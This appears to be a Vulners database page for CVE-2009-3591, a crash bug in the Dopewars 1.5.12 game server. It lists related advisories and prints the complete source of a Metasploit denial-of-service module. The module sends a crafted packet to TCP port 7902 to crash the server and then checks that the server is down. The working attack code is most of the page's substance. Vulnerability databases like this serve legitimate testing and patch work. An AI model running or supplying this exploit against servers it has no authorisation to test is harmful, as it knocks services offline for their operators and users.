| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2009-3591 | 6 Oct 200900:00 | – | circl | |
| CVE-2009-3591 | 8 Oct 200917:00 | – | cve | |
| CVE-2009-3591 | 8 Oct 200917:00 | – | cvelist | |
| CVE-2009-3591 | 8 Oct 200917:00 | – | debiancve | |
| [SECURITY] Fedora 11 Update: dopewars-1.5.12-8.1033svn.fc11 | 14 Oct 200901:42 | – | fedora | |
| [SECURITY] Fedora 10 Update: dopewars-1.5.12-8.1033svn.fc10 | 14 Oct 200901:30 | – | fedora | |
| Fedora 10 : dopewars-1.5.12-8.1033svn.fc10 (2009-10385) | 15 Oct 200900:00 | – | nessus | |
| Fedora 11 : dopewars-1.5.12-8.1033svn.fc11 (2009-10439) | 15 Oct 200900:00 | – | nessus | |
| Flash Player < 9.0.260 / 10.0.42.34 Multiple Vulnerabilities (APSB09-19) | 9 Dec 200900:00 | – | nessus | |
| Dopewars Denial of Service | 14 Mar 201314:53 | – | metasploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Dopewars Denial of Service',
'Description' => %q{
The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to
a lack of input validation.
},
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-3591' ],
[ 'OSVDB', '58884' ],
[ 'BID', '36606' ]
],
'DisclosureDate' => '2009-10-05' ))
register_options([Opt::RPORT(7902)])
end
def run
# The jet command is vulnerable.
# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread 0xb74916c0 (LWP 30638)]
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
# serverside.c:525
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
#
connect
pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"
print_status("Sending dos packet...")
sock.put(pkt)
disconnect
print_status("Checking for success...")
select(nil, nil, nil, 2)
begin
connect
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionRefused
print_good("Dopewars server successfully shut down!")
else
print_error("DOS attack unsuccessful")
ensure
disconnect
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation